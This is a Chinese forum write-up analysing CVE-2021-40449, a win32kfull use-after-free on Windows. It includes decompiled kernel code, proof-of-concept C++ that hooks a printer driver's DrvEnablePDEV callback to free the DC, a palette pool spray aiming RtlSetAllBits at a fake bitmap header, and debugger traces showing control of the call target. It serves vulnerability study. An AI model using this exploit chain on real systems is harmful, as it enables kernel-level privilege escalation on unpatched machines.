首页
社区
课程
招聘
[原创]CVE-2021-40449(UAF)学习
2021-10-23 08:57 24472

[原创]CVE-2021-40449(UAF)学习

2021-10-23 08:57
24472

漏洞描述

内核模块win32kfull.sys中存在UAF漏洞,利用此漏洞可实现本地提权

 

官方通报影响的windows版本:

 

Windows Server, version 2004/20H2(Server Core Installation)

 

Windows 10 Version 1607/1809/1909/2004/20H2/21H1

 

Windows 7 for 32/64-bit Systems Service Pack 1

 

Windows Server 2008/2012/2016/2019/2022

 

Windows 11 for ARM64-based Systems

 

Windows 11 for x64-based Systems

 

Windows 8.1 for 32/64-bit systems

 

Windows RT 8.1

漏洞分析

Windows版本:win10 1809 17763.107

 

UAF漏洞存在于win32kfull!GreResetDCInternal函数中,函数的反汇编结果如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
__int64 __fastcall GreResetDCInternal(HDC oldHDC, __int64 a2, int *a3, __int64 a4, __int64 a5)
{
  HDC v5; // r14
  int *v6; // r13
  int v7; // r15d
  HDC v8; // r12
  unsigned int v9; // edi
  DCOBJ *v10; // rbx
  __int64 PDEVOBJ; // rbx
  __int64 v12; // rax
  DCOBJ *v13; // rcx
  int v14; // r13d
  BOOL v15; // r14d
  int v16; // esi
  HDC newHDC; // rax
  DCOBJ *v18; // rdx
  void (__fastcall *vuln_ptr)(_QWORD, _QWORD); // rax
  __int64 v21; // rax
  __int64 v22; // rcx
  bool v23; // zf
  int v24; // [rsp+28h] [rbp-51h]
  __int64 v25; // [rsp+58h] [rbp-21h] BYREF
  DCOBJ *oldDCOBJ[2]; // [rsp+60h] [rbp-19h] BYREF
  DCOBJ *newDCOBJ[11]; // [rsp+70h] [rbp-9h] BYREF
 
  v5 = oldHDC;
  v6 = a3;
  v7 = 0;
  v8 = 0i64;
  v9 = 0;
  DCOBJ::DCOBJ((DCOBJ *)oldDCOBJ, oldHDC);      // create a DCOBJ from HDC
  v10 = oldDCOBJ[0];
  if ( !oldDCOBJ[0] )
  {
    EngSetLastError(6u);
    v13 = oldDCOBJ[0];
LABEL_38:
    v16 = v25;
    goto LABEL_19;
  }
  v7 = *((_DWORD *)oldDCOBJ[0] + 9) & 0x800;    // offset 0x24: flag
  if ( v7 )
  {
    DC::bMakeInfoDC(oldDCOBJ[0], 0);
    v10 = oldDCOBJ[0];
  }
  PDEVOBJ = *((_QWORD *)v10 + 6);               // offset 0x30: hdev
  v12 = *(_QWORD *)(PDEVOBJ + 0x6B0);
  *(_QWORD *)(PDEVOBJ + 0x6B0) = 0i64;
  v13 = oldDCOBJ[0];
  v25 = v12;
  if ( (*((_DWORD *)oldDCOBJ[0] + 9) & 0x100) != 0
    || *((_DWORD *)oldDCOBJ[0] + 8) == 1
    || (*(_DWORD *)(PDEVOBJ + 40) & 0x80u) == 0 )
  {
    goto LABEL_38;
  }
  v14 = *((_DWORD *)oldDCOBJ[0] + 0x1B);
  v15 = *((_QWORD *)oldDCOBJ[0] + 0x3E) != 0i64;
  v16 = v15;
  if ( XDCOBJ::bCleanDC((XDCOBJ *)oldDCOBJ, 0) )
  {
    if ( *(_DWORD *)(PDEVOBJ + 8) == 1 )
    {
      // create a new HDC and back to user mode
      newHDC = (HDC)hdcOpenDCW(&word_1C02CCD00, a2, 0i64, 0i64, *(_QWORD *)(PDEVOBJ + 2560), v25, a4, a5, 0);
      // miss some validation of oldHDC, maybe the oldHDC has been released
      v8 = newHDC;
      if ( newHDC )
      {
        *(_QWORD *)(PDEVOBJ + 0xA00) = 0i64;
        // create a newDCOBJ from newHDC
        DCOBJ::DCOBJ((DCOBJ *)newDCOBJ, newHDC);
        v18 = newDCOBJ[0];
        if ( newDCOBJ[0] )
        {
          if ( v14 > 0 )
          {
            *((_DWORD *)newDCOBJ[0] + 27) = *((_DWORD *)newDCOBJ[0] + 26);
            v18 = newDCOBJ[0];
          }
          // fetch data from oldDCOBJ, maybe the oldDCOBJ has been released
          *((_QWORD *)v18 + 0x101) = *((_QWORD *)oldDCOBJ[0] + 0x101);
          *((_QWORD *)oldDCOBJ[0] + 0x101) = 0i64;
          *((_QWORD *)newDCOBJ[0] + 0x102) = *((_QWORD *)oldDCOBJ[0] + 258);
          *((_QWORD *)oldDCOBJ[0] + 0x102) = 0i64;
          // vuln_ptr can be a dangling function pointer
          vuln_ptr = *(void (__fastcall **)(_QWORD, _QWORD))(PDEVOBJ + 0xAB8);
          if ( vuln_ptr )
            vuln_ptr(*(_QWORD *)(PDEVOBJ + 0x708), *(_QWORD *)(*((_QWORD *)newDCOBJ[0] + 6) + 0x708i64));
 
          //...
}

GreResetDCInternal函数首先根据oldHDC句柄创建一个DCOBJ对象,紧接着调用hdcOpenDCW函数创建一个newHDC句柄,hdcOpenDCW内部会返回到用户态并调用回调函数DrvEnablePDEV,正常情况下不会出现什么问题,当恶意攻击者劫持回调函数,在回调函数内将原来的oldDCOBJ对象释放,当返回到内核态时,缺少安全性校验,根据newHDC创建的newDCOBJ依然从oldDCOBJ对象中获取函数指针以及参数,因此造成该UAF漏洞的产生,一旦vuln_ptr为垃圾数据时,调用vuln_ptr就会触发BSOD

 

CVE-2021-40449-2.png


 

如果你觉得IDA中的反汇编代码不够直观,可以参考@ly4k整理的相关的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
BOOL GreResetDCInternal(
    HDC hdc,
    DEVMODEW *pdmw,
    BOOL *pbBanding,
    DRIVER_INFO_2W *pDriverInfo2,
    PVOID ppUMdhpdev)
{
    // [...]
    HDC hdcNew;
 
    {
        // Create DCOBJ from HDC
        DCOBJ dco(hdc);
 
        if (!dco.bValid())
        {
            SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);
        }
        else
        {
            // Create DEVOBJ from `dco`
            PDEVOBJ po(dco.hdev());
 
            // [...]
 
            // Create the new DC
            // VULN: Can result in a usermode callback that destroys old DC, which
            // invalidates `dco` and `po`
            hdcNew = hdcOpenDCW(L"",
                                pdmw,
                                DCTYPE_DIRECT,
                                po.hSpooler,
                                prton,
                                pDriverInfo2,
                                ppUMdhpdev);
 
            if (hdcNew)
            {
                po->hSpooler = NULL;
 
                DCOBJ dcoNew(hdcNew);
 
                if (!dcoNew.bValid())
                {
                    SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);
                }
                else
                {
                    // Transfer any remote fonts
 
                    dcoNew->pPFFList = dco->pPFFList;
                    dco->pPFFList = NULL;
 
                    // Transfer any color transform
 
                    dcoNew->pCXFList = dco->pCXFList;
                    dco->pCXFList = NULL;
 
                    PDEVOBJ poNew((HDEV)dcoNew.pdc->ppdev());
 
                    // Let the driver know
                    // VULN: Method is taken from old (possibly destroyed) `po`
                    PFN_DrvResetPDEV rfn = po->ppfn[INDEX_DrvResetPDEV];
 
                    if (rfn != NULL)
                    {
                        (*rfn)(po->dhpdev, poNew->dhpdev);
                    }
 
                    // [...]
                }
            }
        }
    }
 
    // Destroy old DC
    // [...]
}

漏洞验证

菜鸟初次分析,参考@ly4k的POC为主

 

漏洞验证关键的两点:

  • 抵达漏洞的路径
  • 触发漏洞的环境

抵达漏洞的路径:从漏洞触发点往回分析,需要调用到win32kfull!GreResetDCInternal函数,而win32kfull!GreResetDCInternal函数位于win32kfull!NtGdiResetDC函数内部,win32kfull!NtGdiResetDC恰巧为ResetDC对应的内核态函数,因此抵达漏洞出发点的路径为

1
ResetDC -> win32kfull!NtGdiResetDC -> win32kfull!GreResetDCInternal -> 漏洞点

触发漏洞的环境:回调函数内释放原来的DCOBJ


POC编写

漏洞验证可以分为以下步骤:

  • 使用EnumPrinters(枚举打印机)寻找可利用的打印机
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// get the buffer size to store the PRINTER_INFO_4 structures
DWORD needBytes = 0, returnCount = 0;
EnumPrintersA(PRINTER_ENUM_LOCAL, nullptr, 4, nullptr, 0, &needBytes, &returnCount);
if (!needBytes) {
    ErrorOutput("[-] Failed to get buffer size for printer structures\n");
    exit(1);
}
 
// allocate a buffer to store the PRINTER_INFO_4 structures
PPRINTER_INFO_4A pPrinterArray = (PPRINTER_INFO_4A)malloc(needBytes);
if (!pPrinterArray) {
    ErrorOutput("[-] Failed to allocate a buffer for printer structures\n");
    exit(1);
}
if (!EnumPrintersA(PRINTER_ENUM_LOCAL, nullptr, 4, (LPBYTE)pPrinterArray, needBytes, &needBytes, &returnCount)) {
    ErrorOutput("[-] Failed to enum printers\n");
    exit(1);
}
  • 使用OpenPrinter获取该打印机的句柄,使用 GetPrinterDriver检索该打印机相关驱动的信息, LoadLibraryExA将此打印机驱动加载到当前进程的地址空间中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
PRINTER_INFO_4A pPrinterInfo = { 0 };
// enum printer structure array
for (DWORD idx = 0; idx < returnCount; ++idx)
{
    pPrinterInfo = pPrinterArray[idx];
    if (!pPrinterInfo.pPrinterName)
            continue;
    printf("[+] Try the printer: %s\n", pPrinterInfo.pPrinterName);
 
    // open the printer
    HANDLE hPrinter;
    if (!OpenPrinterA(pPrinterInfo.pPrinterName, &hPrinter, nullptr))
    {
        ErrorOutput("[-] Failed to open the printer\n");
        continue;
    }
    printf("[+] Open the driver: %s\n", pPrinterInfo.pPrinterName);
 
    // get the driver path
    needBytes = 0;
    GetPrinterDriverA(hPrinter, nullptr, 2, nullptr, 0, &needBytes);
    if (!needBytes)
    {
        ErrorOutput("[-] Failed to get buffer size for printer driver structures\n");
        continue;
    }
 
    PDRIVER_INFO_2A pDriverArray = (PDRIVER_INFO_2A)malloc(needBytes);
    if (!pDriverArray)
        ErrorOutput("[-] Failed to allocate a buffer for driver structures\n");
    if (!GetPrinterDriverA(hPrinter, nullptr, 2, (LPBYTE)pDriverArray, needBytes, &needBytes))
    {
        ErrorOutput("[-] Failed to enum the printer drivers\n");
        continue;
    }
    printf("[+] Driver path: %s\n", pDriverArray->pDriverPath);
 
    // load the driver to memory with the absolute path
    HMODULE hDriver = LoadLibraryExA(pDriverArray->pDriverPath, nullptr, LOAD_WITH_ALTERED_SEARCH_PATH);
    if (!hDriver)
    {
        ErrorOutput("[-] Failed to load the driver to memory\n");
        continue;
    }
 
    //...
}
  • 使用GetProcAddress获取DrvEnableDriverDrvDisableDriver的函数地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// get the function address
pDrvEnableDriver DrvEnableDriver = nullptr;
pDrvDisableDriver DrvDisableDriver = nullptr;
 
DrvEnableDriver = (pDrvEnableDriver)GetProcAddress(hDriver, "DrvEnableDriver");
DrvDisableDriver = (pDrvDisableDriver)GetProcAddress(hDriver, "DrvDisableDriver");
 
if (!DrvEnableDriver || !DrvDisableDriver)
{
    ErrorOutput("[-] Failed to get the function address\n");
    continue;
}
printf("[+] Get the DrvEnableDriver address: 0x%I64x\n", (ULONG64)DrvEnableDriver);
printf("[+] Get the DrvDisableDriver address: 0x%I64x\n", (ULONG64)DrvDisableDriver);
  • 使用DrvEnableDriver获取回调函数表
1
2
3
4
5
6
7
// get the driver's callback table
DRVENABLEDATA drvEnableData;
if (!DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(drvEnableData), &drvEnableData))
{
    ErrorOutput("[-] Failed to get the drvEnableData\n");
    continue;
}
  • 使用VirtualProtect取消对此打印机驱动的用户态回调函数表的保护以便后面可以替换为自定义的回调函数指针
1
2
3
4
5
6
7
// enable the driver notice!!!
DWORD protectValue = 0;
if (!VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(DRVFN), PAGE_READWRITE, &protectValue))
{
    ErrorOutput("[-] Failed to unprotecy the callback table\n");
    continue;
}
  • 覆写此打印机驱动的用户态回调函数表中指定的函数指针,恢复回调函数表的保护
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
namespace global
{
    DRVFN fakeDrvfn{ INDEX_DrvEnablePDEV , (PFN)FakeDrvEnablePDEV };
    DRVFN realDrvfn{ INDEX_DrvEnablePDEV, nullptr };
}
 
// hook the callback table entry
for (DWORD idx = 0; idx < drvEnableData.c; ++idx)
{
    if (drvEnableData.pdrvfn[idx].iFunc == global::fakeDrvfn.iFunc)
    {
        global::realDrvfn.pfn = drvEnableData.pdrvfn[idx].pfn;
        drvEnableData.pdrvfn[idx].pfn = global::fakeDrvfn.pfn;
        break;
    }
}
 
// diable the driver
DrvDisableDriver();
 
// reprotect the callback table
VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(DRVFN), protectValue, &protectValue);
  • 定义伪造的回调函数,函数开始处依然调用正常的回调函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
DHPDEV FakeDrvEnablePDEV(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat,
    HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo,
    DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver)
{
    printf("[+] Enter the fake callback\n");
    // call the true function
    pDrvEnablePDEV DrvEnablePDEV = (pDrvEnablePDEV)global::realDrvfn.pfn;
    DHPDEV result = DrvEnablePDEV(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver);
    if (global::TriggerBugFlag)
    {
        global::TriggerBugFlag = FALSE;
        printf("[+] Trigger the uaf bug\n");
 
        ResetDCA(global::hdc, nullptr);
 
        printf("[+] Start pool spray\n");
        PoolSpray();
        printf("[+] Finish pool spray\n");
    }
    return result;
}

回调函数内值得思考的问题是如何释放DC呢?

 

我查阅两个明显的释放DC的API:ReleaseDC和DeleteDC,发现DeleteDC是符合当下情形的,因为DeleteDC对应的是CreateDC,而ReleaseDC对应的是GetWindowDC或者GetDC

 

然而经过我的尝试,DC并没有得到释放,得到一个错误号170:请求的资源在使用中。我想应该是DC的锁没有释放,那为什么ResetDC能够将DC的锁解除并释放DC呢?

 

GreResetDCInternal函数后面部分完成了DC对象解锁以及旧DC的释放

 

CVE-2021-40449-1.png

  • 池喷射
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void PoolSpray()
{
    // initialize the PLOGPALETTE
    DWORD devobjSize = 0xe20;
    DWORD palNumEntries = (devobjSize - 0x90) / 4;
    DWORD bufSize = sizeof(LOGPALETTE) + (palNumEntries) * sizeof(PALETTEENTRY);
    PLOGPALETTE pLogPalette = (PLOGPALETTE)malloc(bufSize);
    if (!pLogPalette)
    {
        ErrorOutput("[-] Failed to allocate a buffer for PLOGPALETTE\n");
        exit(1);
    }
    pLogPalette->palVersion = 0x300;
    pLogPalette->palNumEntries = palNumEntries;
 
    // make the pool fengshui
    PULONG64 paletteData = (PULONG64)pLogPalette->palPalEntry;
 
    // control the arg1(fake BitMapHeader)
    for (DWORD i = 0; i < 0x140; ++i)
    {
        paletteData[i] = global::fakeBitmapHeader;
    }
 
    // control the function pointer(rtlSetAllBits)
    for (DWORD i = 0x140; i < (palNumEntries * 4) / 8; ++i)
    {
        paletteData[i] = global::rtlSetAllBits;
    }
 
    // start to make pool spray
    for (DWORD i = 0; i < 5000; ++i)
    {
        CreatePalette(pLogPalette);
    }
}

POC调试

用户回调

栈帧回溯:hdcOpenDCW > KeUserModeCallback

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Child-SP          RetAddr               Call Site
00 ffff830c`219db4b8 ffff8260`628695df     nt!KeUserModeCallback
01 ffff830c`219db4c0 ffff8260`62869580     win32kfull!pppUserModeCallback+0x2b
02 ffff830c`219db510 ffff8260`628693b7     win32kfull!ClientPrinterThunk+0x74
03 ffff830c`219db550 ffff8260`628ffca6     win32kfull!UMPDOBJ::Thunk+0x73
04 ffff830c`219db5c0 ffff8260`628ffa27     win32kfull!UMPDDrvEnableDriver+0x96
05 ffff830c`219db640 ffff8260`628ff9bc     win32kfull!UMPD_ldevLoadDriver+0x5f
06 ffff830c`219db830 ffff8260`62bba3b1     win32kfull!UMPD_ldevLoadDriverWrap+0xc
07 ffff830c`219db860 ffff8260`62939ff2     win32kbase!hdcOpenDCW+0x1d1
08 ffff830c`219db940 ffff8260`62939e66     win32kfull!GreResetDCInternal+0x11a
09 ffff830c`219dba10 fffff807`3adcb285     win32kfull!NtGdiResetDC+0xd6
0a ffff830c`219dba90 00007ffa`4b056f04     nt!KiSystemServiceCopyEnd+0x25
0b 0000008d`cc32f618 00007ffa`4b9d97bf     win32u!NtGdiResetDC+0x14
0c 0000008d`cc32f620 00007ffa`4b9ffe5d     gdi32full!ResetDCWInternal+0x16b
0d 0000008d`cc32f720 00007ff7`c10d16b3     gdi32full!ResetDCA+0x3d
0e 0000008d`cc32f750 0000023a`02839c00     Exploit!main+0x73 [D:\SelfLearn\C++Project\Exploit\Exploit\2021-40449-POC.cpp @ 236]
0f 0000008d`cc32f758 00000000`00000000     0x0000023a`02839c00

漏洞触发

漏洞触发位置汇编代码:rax即为vuln_ptr

1
2
3
4
5
6
7
8
9
10
ffff8260`6293a06c 488b83b80a0000  mov     rax,qword ptr [rbx+0AB8h]
ffff8260`6293a073 4885c0          test    rax,rax
ffff8260`6293a076 741c            je      win32kfull!GreResetDCInternal+0x1bc (ffff8260`6293a094)  Branch
 
win32kfull!GreResetDCInternal+0x1a0:
ffff8260`6293a078 488b4df7        mov     rcx,qword ptr [rbp-9]
ffff8260`6293a07c 488b5130        mov     rdx,qword ptr [rcx+30h]
ffff8260`6293a080 488b8b08070000  mov     rcx,qword ptr [rbx+708h]
ffff8260`6293a087 488b9208070000  mov     rdx,qword ptr [rdx+708h]
ffff8260`6293a08e ff15fcdf2000    call    qword ptr [win32kfull!_guard_dispatch_icall_fptr (ffff8260`62b48090)]

此处CFG并没有实现,只是一条跳转指令

1
2
3
4
0: kd> uf poi(win32kfull!_guard_dispatch_icall_fptr)
Flow analysis was incomplete, some code may be missing
win32kfull!guard_dispatch_icall_nop:
ffff8260`62942a10 ffe0            jmp     rax

当执行流程第二次来到call qword ptr [win32kfull!_guard_dispatch_icall_fptr (ffff826062b48090)]`时

1
2
3
4
5
6
7
8
9
10
11
12
: kd> g
Breakpoint 1 hit
win32kfull!GreResetDCInternal+0x1b6:
ffff8260`6293a08e ff15fcdf2000    call    qword ptr [win32kfull!_guard_dispatch_icall_fptr (ffff8260`62b48090)]
0: kd> r rax
rax=ffff82606293c910
0: kd> g
Breakpoint 1 hit
win32kfull!GreResetDCInternal+0x1b6:
ffff8260`6293a08e ff15fcdf2000    call    qword ptr [win32kfull!_guard_dispatch_icall_fptr (ffff8260`62b48090)]
0: kd> r rax
rax=6161616161616161

此时vuln_ptr已经为0x6161616161616161,继续执行触发BSOD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
CONTEXT:  ffff830c219daf40 -- (.cxr 0xffff830c219daf40)
rax=6161616161616161 rbx=ffff8204857cf070 rcx=4141414141414141
rdx=0000023a0283b320 rsi=0000000000000000 rdi=0000000000000000
rip=ffff826062942a10 rsp=ffff830c219db938 rbp=ffff830c219db9b1
 r8=0000000000010000  r9=ffff820480602990 r10=0000000000001d91
r11=0000000000000000 r12=0000000001211d91 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
win32kfull!guard_dispatch_icall_nop:
ffff8260`62942a10 ffe0            jmp     rax {61616161`61616161}
Resetting default scope
 
PROCESS_NAME:  Exploit.exe
 
STACK_TEXT: 
ffff830c`219db938 ffff8260`6293a094     : ffff8204`857cf070 00000000`00000000 00000000`00000000 00000000`00000000 : win32kfull!guard_dispatch_icall_nop
ffff830c`219db940 ffff8260`62939e66     : 00000000`62210ae8 00000000`00000000 ffff830c`219dba44 ffff8204`856e7030 : win32kfull!GreResetDCInternal+0x1bc
ffff830c`219dba10 fffff807`3adcb285     : 00000000`62210ae8 ffffe78f`6a70e080 0000008d`cc32f720 ffff830c`219dbaa8 : win32kfull!NtGdiResetDC+0xd6
ffff830c`219dba90 00007ffa`4b056f04     : 00007ffa`4b9d97bf 0000023a`02856170 0000008d`cc32f6b9 00000000`62210ae8 : nt!KiSystemServiceCopyEnd+0x25
0000008d`cc32f618 00007ffa`4b9d97bf     : 0000023a`02856170 0000008d`cc32f6b9 00000000`62210ae8 0000023a`04200dc0 : win32u!NtGdiResetDC+0x14
0000008d`cc32f620 00007ffa`4b9ffe5d     : 0000ad36`32354121 00000000`00000000 00000000`00000000 0000023a`00000001 : gdi32full!ResetDCWInternal+0x16b
0000008d`cc32f720 00007ff7`c10d16b3     : 0000023a`02839c00 00000000`00000000 00000000`00000000 00000000`00000000 : gdi32full!ResetDCA+0x3d
0000008d`cc32f750 0000023a`02839c00     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : Exploit!main+0x73 [D:\SelfLearn\C++Project\Exploit\Exploit\2021-40449-POC.cpp @ 236]
0000008d`cc32f758 00000000`00000000     : 00000000`00000000 00000000`00000000 00000000`00000000 00007ff7`c10d18e0 : 0x0000023a`02839c00

参考链接

  • https://mp.weixin.qq.com/s/z0Hv06YRlmQVSINTd2Hh6w
  • https://github.com/ollypwn/CallbackHell

[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2022-2-9 19:35 被Jimpp编辑 ,原因:
收藏
点赞3
打赏
分享
最新回复 (4)
雪    币: 96
活跃值: (315)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
刚刚打你了哇 2021-10-31 22:10
2
0
大佬,学习了
雪    币: 881
活跃值: (470)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
吴限 2021-11-2 10:31
3
0

楼主在1809和之后的版本上复现过这个漏洞没?

最后于 2021-11-2 10:34 被吴限编辑 ,原因:
雪    币: 1403
活跃值: (1011)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
Jimpp 2021-11-2 13:01
4
0
之前还试了1909、20h2也可以蓝屏
雪    币: 881
活跃值: (470)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
吴限 2021-11-3 16:53
5
0
Jimpp 之前还试了1909、20h2也可以蓝屏
可以蓝屏?不能提权成功吧?
游客
登录 | 注册 方可回帖
返回